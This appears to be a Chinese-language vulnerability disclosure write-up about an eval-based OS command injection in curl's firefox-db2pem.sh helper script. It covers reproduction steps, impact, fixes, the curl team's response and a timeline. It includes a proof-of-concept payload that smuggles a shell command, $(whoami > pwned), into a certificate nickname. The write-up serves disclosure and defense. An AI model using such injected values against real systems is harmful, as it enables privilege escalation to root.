OS命令注入漏洞分析:curl脚本中的安全风险
漏洞概述
在curl项目的scripts/firefox-db2pem.sh
辅助脚本中,发现了一个OS命令注入漏洞。该漏洞源于脚本使用eval
命令处理证书昵称,导致恶意构造的昵称能够执行任意shell命令。
受影响版本
- curl master分支(截至2025年6月26日,commit 2a9dfe2)
- 该漏洞可能存在于所有历史版本中
技术细节
漏洞代码位置
1
|
eval certutil -d "$db" -L -n "$nickname" -a
|
由于eval
会重新解析其参数,任何包含shell语法(如$(whoami > pwned)
)的恶意昵称都将在主机上执行。
攻击原理
攻击者可以通过以下步骤利用此漏洞:
- 创建临时Firefox配置文件
- 生成自签名证书
- 使用恶意昵称导入证书
- 运行易受攻击的辅助脚本
复现步骤
环境准备
1
|
sudo apt-get install -y libnss3-tools openssl
|
创建测试环境
1
2
3
4
|
export HOME=$(mktemp -d)
PROF="$HOME/.mozilla/firefox/safe.default"
mkdir -p "$PROF"
certutil -N --empty-password -d "$PROF"
|
生成恶意证书
1
2
3
|
openssl req -x509 -newkey rsa:2048 -nodes \
-subj '/CN=RCE-Test/' -days 1 \
-keyout "$HOME/key.pem" -out "$HOME/cert.pem"
|
注入恶意代码
1
2
|
payload='evil$(whoami > pwned)'
certutil -A -d "$PROF" -n "$payload" -t "C,C,C" -i "$HOME/cert.pem"
|
执行攻击
1
|
bash -x scripts/firefox-db2pem.sh "$HOME/ca-bundle.pem" || true
|
影响评估
攻击场景
- 攻击者能够将证书导入任何Firefox NSS数据库(如自己的配置文件)
- 当管理员以root权限运行此脚本生成系统级CA包时,可获得root级别的远程代码执行能力
实际风险
在多下游构建管道(Fuchsia、Cmake的Docker构建、openSUSE OBS)中,此脚本以root权限针对非特权Firefox配置文件运行,恶意昵称成为真实的权限提升载体。
修复方案
问题代码
1
|
eval certutil -d "$db" -L -n "$nickname" -a
|
建议修复
移除eval
并使用更安全的方式处理参数:
1
|
certutil -d "$db" -L -n "$nickname" -a
|
实际修复
项目组最终采用以下修复方案:
1
|
echo "$nickname" | xargs -I{} certutil -d "$db" -L -a -n {}
|
项目响应
curl团队认为这不是一个curl安全漏洞,但同意改进脚本:
- 该脚本不是curl的正式组成部分,不会通过make install安装
- 仅为有用此需求的用户提供辅助功能
- 改进脚本以更好地表明使用意图和期望
时间线
- 2025年6月26日 21:10 UTC:漏洞报告提交
- 2025年6月27日 00:11 UTC:提出修复方案
- 2025年6月27日 09:47 UTC:报告标记为"信息性"
- 2025年6月27日 18:13 UTC:修复提交
- 2025年6月28日 12:19 UTC:报告公开披露
总结
虽然curl团队不认为这是正式的安全漏洞,但此问题揭示了在脚本开发中谨慎处理用户输入的重要性。特别是在可能以提升权限运行的场景下,需要格外注意命令注入等安全风险。